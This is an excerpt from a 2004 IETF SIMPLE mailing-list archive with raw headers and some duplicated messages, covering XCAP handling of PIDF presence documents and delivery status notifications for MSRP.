X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 15:47:43 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

Comments inline, but we would meet f2f/gf

> -----Original Message-----
> From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
> Sent: Wednesday, March 03, 2004 7:04 AM
> To: George Foti (QA/EMC); simple@ietf.org
> Subject: RE: Comments on PIDF-Manipulation Usage-00draft (was RE:
> Comments on draft-isomaki-simple-xcap-publish-usage-00)
> 
> 
> Hi George,
> 
> I think you may still missing the point that there is not 
> only one but several presence documents that can be published 
> by a presentity, and only at the event state compositor do 
> they get combined into a single document. 

You are talking about implementation here.
Today, there is a singe PIDF XML document that can be managed by XCAP.
and it includes everything
The split you are discussing here is not formaized and unless there is an XML document with a defined 
XML schema defined, I dont see how you can XCAP the way you are suggesting.

For instance each 
> PUA publishing with SIP PUBLISH will have its own separate 
> PIDF-doc. The draft does not propose those documents to be 
> manipulated by XCAP, so there is clear separation between 
> "soft state PUA-specific" presence and "hard-state 
> device-independent" presence. What the draft proposes is that 
> there woud be a single device independent "hard-state" 
> presence document in addition to the PUA-specific ones. The 
> motivation is given in Chapter 1 and the model is illustrated 
> in Figure 1. 
> 
> So in short: The "hard-state" and "soft-state" tuples are 
> kept in separate documents, and the scenario you describe 
> below won't exist.
> 

Can you point me to the 2 XML documents that describe those.
 
> What exactly would go into the hard-state presence document 
> is not defined in the draft, and  is left for an implementor 
> or user to decide. Typically there could be things like 
> web-page address, e-mail specific tuple, or even some tuples 
> with the future-status, i.e. something that is not tied to a 
> single device and/or does not change very often. Also this 
> document would form the basis for the outgoing presence 
> information in the absense of any publishing PUAs.
> 
> Markus   
> 
> 
> -----Original Message-----
> From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
> Sent: 03 March, 2004 10:10
> To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
> Subject: RE: Comments on PIDF-Manipulation Usage-00draft (was 
> RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)
> 
> 
> Hi Markus,
> 
> Lets leave the mandatory-ns element aside for the time being.
> You stated that one should use XCAP to control *hard state* 
> tuples only
> What if a user changes other  soft tuples with XCAP.
> 
> Will the server allow that?
> 
> Where in your draft you explain/discuss how to handle those cases?
> 
> And what are the tuples in PIDF and other extensions that you 
> consider *hard state* tuples.
> 
> Rgds/gf
>   
> 
 

This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 16:54:23 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA28772
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 16:54:22 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyeJO-0006Sl-Ow
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 16:53:55 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i23LrsMr024839
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 16:53:54 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyeJO-0006SY-L6
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 16:53:54 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA28751
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 16:53:51 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyeJM-0005nt-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 16:53:52 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyeIV-0005eY-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 16:53:00 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyeHe-0005Ub-00; Wed, 03 Mar 2004 16:52:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyeHa-0006KY-LR; Wed, 03 Mar 2004 16:52:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyeGv-0006Ik-6J
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 16:51:21 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA28624
	for <simple@ietf.org>; Wed, 3 Mar 2004 16:51:18 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyeGt-0005JN-00
	for simple@ietf.org; Wed, 03 Mar 2004 16:51:19 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyeFx-00056V-00
	for simple@ietf.org; Wed, 03 Mar 2004 16:50:22 -0500
Received: from imr2.ericy.com ([198.24.6.3])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyeEz-0004pq-00
	for simple@ietf.org; Wed, 03 Mar 2004 16:49:21 -0500
Received: from eamrcnt717.exu.ericsson.se (eamrcnt717.exu.ericsson.se [138.85.90.249])
	by imr2.ericy.com (8.12.10/8.12.10) with ESMTP id i23LmqfX029409
	for <simple@ietf.org>; Wed, 3 Mar 2004 15:48:52 -0600 (CST)
Received: from eamrcnt750.exu.ericsson.se ([138.85.133.51]) by eamrcnt717.exu.ericsson.se with Microsoft SMTPSVC(6.0.3790.0);
	 Wed, 3 Mar 2004 15:44:07 -0600
Received: by eamrcnt750.exu.ericsson.se with Internet Mail Service (5.5.2657.72)
	id <FGYM4C7B>; Wed, 3 Mar 2004 15:48:33 -0600
Message-ID: <2DBF697D5B36014ABA46E66A96107DA02C95D0@lmc37.lmc.ericsson.se>
From: "George Foti (QA/EMC)" <george.foti@ericsson.com>
To: "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>, simple@ietf.org
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain;
	charset="iso-8859-1"
X-OriginalArrivalTime: 03 Mar 2004 21:44:07.0484 (UTC) FILETIME=[A7B107C0:01C40168]
Subject: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (was RE: Comment
 s on draft-isomaki-simple-xcap-publish-usage-00)
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 15:47:43 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

Comments inline, but we would meet f2f/gf

> -----Original Message-----
> From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
> Sent: Wednesday, March 03, 2004 7:04 AM
> To: George Foti (QA/EMC); simple@ietf.org
> Subject: RE: Comments on PIDF-Manipulation Usage-00draft (was RE:
> Comments on draft-isomaki-simple-xcap-publish-usage-00)
> 
> 
> Hi George,
> 
> I think you may still missing the point that there is not 
> only one but several presence documents that can be published 
> by a presentity, and only at the event state compositor do 
> they get combined into a single document. 

You are talking about implementation here.
Today, there is a singe PIDF XML document that can be managed by XCAP.
and it includes everything
The split you are discussing here is not formaized and unless there is an XML document with a defined 
XML schema defined, I dont see how you can XCAP the way you are suggesting.

For instance each 
> PUA publishing with SIP PUBLISH will have its own separate 
> PIDF-doc. The draft does not propose those documents to be 
> manipulated by XCAP, so there is clear separation between 
> "soft state PUA-specific" presence and "hard-state 
> device-independent" presence. What the draft proposes is that 
> there woud be a single device independent "hard-state" 
> presence document in addition to the PUA-specific ones. The 
> motivation is given in Chapter 1 and the model is illustrated 
> in Figure 1. 
> 
> So in short: The "hard-state" and "soft-state" tuples are 
> kept in separate documents, and the scenario you describe 
> below won't exist.
> 

Can you point me to the 2 XML documents that describe those.
 
> What exactly would go into the hard-state presence document 
> is not defined in the draft, and  is left for an implementor 
> or user to decide. Typically there could be things like 
> web-page address, e-mail specific tuple, or even some tuples 
> with the future-status, i.e. something that is not tied to a 
> single device and/or does not change very often. Also this 
> document would form the basis for the outgoing presence 
> information in the absense of any publishing PUAs.
> 
> Markus   
> 
> 
> -----Original Message-----
> From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
> Sent: 03 March, 2004 10:10
> To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
> Subject: RE: Comments on PIDF-Manipulation Usage-00draft (was 
> RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)
> 
> 
> Hi Markus,
> 
> Lets leave the mandatory-ns element aside for the time being.
> You stated that one should use XCAP to control *hard state* 
> tuples only
> What if a user changes other  soft tuples with XCAP.
> 
> Will the server allow that?
> 
> Where in your draft you explain/discuss how to handle those cases?
> 
> And what are the tuples in PIDF and other extensions that you 
> consider *hard state* tuples.
> 
> Rgds/gf
>   
> 
 

This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 17:35:06 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA01056
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 17:35:06 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyexH-0005Vn-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 17:35:07 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyewF-0005JQ-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 17:34:03 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyevT-00058s-00; Wed, 03 Mar 2004 17:33:15 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyevE-000114-UH; Wed, 03 Mar 2004 17:33:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyeuN-0000uf-5D
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 17:32:07 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA00868
	for <simple@ietf.org>; Wed, 3 Mar 2004 17:32:03 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyeuK-0004xI-00
	for simple@ietf.org; Wed, 03 Mar 2004 17:32:04 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyetS-0004l7-00
	for simple@ietf.org; Wed, 03 Mar 2004 17:31:10 -0500
Received: from ihemail2.lucent.com ([192.11.222.163] helo=ihemail2.firewall.lucent.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayesc-0004VO-00
	for simple@ietf.org; Wed, 03 Mar 2004 17:30:18 -0500
Received: from ihmail.ih.lucent.com (h135-1-218-70.lucent.com [135.1.218.70])
	by ihemail2.firewall.lucent.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i23MTc004379;
	Wed, 3 Mar 2004 16:29:39 -0600 (CST)
Received: from lucent.com (vkg-hp-laptop.ih.lucent.com [135.185.238.88]) by ihmail.ih.lucent.com (8.11.7+Sun/EMS-1.5 sol2)
	id i23MTZq28049; Wed, 3 Mar 2004 16:29:35 -0600 (CST)
Message-ID: <40465CC0.7080004@lucent.com>
From: "Vijay K. Gurbani" <vkg@lucent.com>
Organization: Wireless Research and Development Group
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20031007
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: simple@ietf.org
Subject: Re: [Simple] return receipt and delivery status notification for
 MSRP
References: <ABEA1AEE-6C8E-11D8-82FB-0003938AF740@cisco.com> <404502DD.6040702@lucent.com> <4046099B.4020601@lucent.com>
In-Reply-To: <4046099B.4020601@lucent.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 16:31:28 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

[Sorry for multiple postings -- I have'nt seen it reflected on
  the list.  Maybe the Bagel virus is to blame]

hisham.khartabil@nokia.com wrote:

> Yes, in chunking, I think it is useful to get
> delivery reports of chunks. Not for every chunk, but
> for x number of them.

Receipt of X chunks is a protocol-level status notification.
I am confused -- what kind of DSNs are we talking about?
Protocol level or user level?

Opening a dialog box to the user and telling him or her
that "The 9th chunk has been successfully delivered" will
probably not impart too much information to the user.  But
opening a dialog box that says "Message could not be
delivered -- receiver exceeds disk quota to store the message"
is more meaningful to the sender.

User level DSNs may be influenced by presence (I agree with
others who point out that presence is not a pre-requisite
for guaranteed delivery) and by the type of IM session:
page or session mode.

For page mode, Hisham wants to be notified not only
when the IM was delivered but also when it was read.
On the other hand, I want to be only notified if the
message could not be delivered (i.e. I would consider
an intermediary accepting the IM on behalf of an offline
receiver as successful delivery but would like to know if
the receiver has run out of disk space or no longer has
a login in that domain).

- vijay
-- 
Vijay K. Gurbani  vkg@{lucent.com,research.bell-labs.com,acm.org}
Wireless Networks Group/Internet Software and Services
Lucent Technologies/Bell Labs Innovations, 2000 Lucent Lane, Rm 6G-440
Naperville, Illinois 60566     Voice: +1 630 224 0216


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 17:35:37 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA01095
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 17:35:37 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyexK-0001E4-Mj
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 17:35:10 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i23MZA3n004712
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 17:35:10 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyexK-0001Dv-JT
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 17:35:10 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA01070
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 17:35:07 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyexH-0005Vs-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 17:35:07 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyewF-0005JZ-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 17:34:04 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyevT-00058s-00; Wed, 03 Mar 2004 17:33:15 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyevE-000114-UH; Wed, 03 Mar 2004 17:33:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyeuN-0000uf-5D
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 17:32:07 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA00868
	for <simple@ietf.org>; Wed, 3 Mar 2004 17:32:03 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyeuK-0004xI-00
	for simple@ietf.org; Wed, 03 Mar 2004 17:32:04 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyetS-0004l7-00
	for simple@ietf.org; Wed, 03 Mar 2004 17:31:10 -0500
Received: from ihemail2.lucent.com ([192.11.222.163] helo=ihemail2.firewall.lucent.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayesc-0004VO-00
	for simple@ietf.org; Wed, 03 Mar 2004 17:30:18 -0500
Received: from ihmail.ih.lucent.com (h135-1-218-70.lucent.com [135.1.218.70])
	by ihemail2.firewall.lucent.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i23MTc004379;
	Wed, 3 Mar 2004 16:29:39 -0600 (CST)
Received: from lucent.com (vkg-hp-laptop.ih.lucent.com [135.185.238.88]) by ihmail.ih.lucent.com (8.11.7+Sun/EMS-1.5 sol2)
	id i23MTZq28049; Wed, 3 Mar 2004 16:29:35 -0600 (CST)
Message-ID: <40465CC0.7080004@lucent.com>
From: "Vijay K. Gurbani" <vkg@lucent.com>
Organization: Wireless Research and Development Group
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20031007
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: simple@ietf.org
Subject: Re: [Simple] return receipt and delivery status notification for
 MSRP
References: <ABEA1AEE-6C8E-11D8-82FB-0003938AF740@cisco.com> <404502DD.6040702@lucent.com> <4046099B.4020601@lucent.com>
In-Reply-To: <4046099B.4020601@lucent.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 16:31:28 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

[Sorry for multiple postings -- I have'nt seen it reflected on
  the list.  Maybe the Bagel virus is to blame]

hisham.khartabil@nokia.com wrote:

> Yes, in chunking, I think it is useful to get
> delivery reports of chunks. Not for every chunk, but
> for x number of them.

Receipt of X chunks is a protocol-level status notification.
I am confused -- what kind of DSNs are we talking about?
Protocol level or user level?

Opening a dialog box to the user and telling him or her
that "The 9th chunk has been successfully delivered" will
probably not impart too much information to the user.  But
opening a dialog box that says "Message could not be
delivered -- receiver exceeds disk quota to store the message"
is more meaningful to the sender.

User level DSNs may be influenced by presence (I agree with
others who point out that presence is not a pre-requisite
for guaranteed delivery) and by the type of IM session:
page or session mode.

For page mode, Hisham wants to be notified not only
when the IM was delivered but also when it was read.
On the other hand, I want to be only notified if the
message could not be delivered (i.e. I would consider
an intermediary accepting the IM on behalf of an offline
receiver as successful delivery but would like to know if
the receiver has run out of disk space or no longer has
a login in that domain).

- vijay
-- 
Vijay K. Gurbani  vkg@{lucent.com,research.bell-labs.com,acm.org}
Wireless Networks Group/Internet Software and Services
Lucent Technologies/Bell Labs Innovations, 2000 Lucent Lane, Rm 6G-440
Naperville, Illinois 60566     Voice: +1 630 224 0216


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 18:38:51 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA06966
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 18:38:51 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayfwy-0002OS-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 18:38:52 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ayfw4-0002Et-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 18:37:57 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyfvG-00026f-00; Wed, 03 Mar 2004 18:37:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyfvA-0004bf-JQ; Wed, 03 Mar 2004 18:37:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayfv4-0004b2-Vp
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 18:36:55 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA06928
	for <simple@ietf.org>; Wed, 3 Mar 2004 18:36:50 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayfv1-000260-00
	for simple@ietf.org; Wed, 03 Mar 2004 18:36:52 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ayfu2-0001wZ-00
	for simple@ietf.org; Wed, 03 Mar 2004 18:35:51 -0500
Received: from hoemail1.lucent.com ([192.11.226.161] helo=hoemail1.firewall.lucent.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayft3-0001f8-00
	for simple@ietf.org; Wed, 03 Mar 2004 18:34:50 -0500
Received: from ihmail.ih.lucent.com (h135-1-218-70.lucent.com [135.1.218.70])
	by hoemail1.firewall.lucent.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i23NY5200110;
	Wed, 3 Mar 2004 17:34:05 -0600 (CST)
Received: from lucent.com (il0015vkg1.ih.lucent.com [135.185.173.147]) by ihmail.ih.lucent.com (8.11.7+Sun/EMS-1.5 sol2)
	id i23EtZq13693; Wed, 3 Mar 2004 08:55:35 -0600 (CST)
Message-ID: <4045F1D7.7040909@lucent.com>
From: "Vijay K. Gurbani" <vkg@lucent.com>
Organization: Wireless Research and Development/Internet Software and Services
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: simple@ietf.org
CC: Rohan Mahy <rohan@cisco.com>, aki.niemi@nokia.com
Subject: Re: [Simple] return receipt and delivery status notification for
 MSRP
References: <2038BCC78B1AD641891A0D1AE133DBB701797822@esebe019.ntc.nokia.com>
In-Reply-To: <2038BCC78B1AD641891A0D1AE133DBB701797822@esebe019.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 08:55:19 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

hisham.khartabil@nokia.com wrote:
> Yes, in chunking, I think it is useful to get delivery reports of 
> chunks. Not for every chunk, but for x number of them.

Receipt of X chunks is a protocol-level status notification.
I am confused -- what kind of DSNs are we talking about?
Protocol level or user level?

Opening a dialog box to the user and telling him or her
that "The 9th chunk has been successfully delivered" will
probably not impart too much information to the user.  But
opening a dialog box that says "Message could not be
delivered -- receiver exceeds disk quota to store the message"
is more meaningful to the sender.

User level DSNs may be influenced by presence (I agree with
others who point out that presence is not a pre-requisite
for guaranteed delivery) and by the type of IM session:
page or session mode.

For page mode, Hisham wants to be notified not only
when the IM was delivered but also when it was read.
On the other hand, I want to be only notified if the
message could not be delivered (i.e. I would consider
an intermediary accepting the IM on behalf of an offline
receiver as successful delivery but would like to know if
the receiver has run out of disk space or no longer has
a login in that domain).

- vijay
-- 
Vijay K. Gurbani  vkg@{lucent.com,research.bell-labs.com,acm.org}
Wireless Networks Group/Internet Software and Services
Lucent Technologies/Bell Labs Innovations, 2000 Lucent Lane, Rm 6G-440
Naperville, Illinois 60566     Voice: +1 630 224 0216

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 18:39:25 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA07013
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 18:39:25 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayfx2-00050O-Ix
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 18:38:58 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i23Ncuv5019237
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 18:38:56 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayfx2-00050C-CU
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 18:38:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA06981
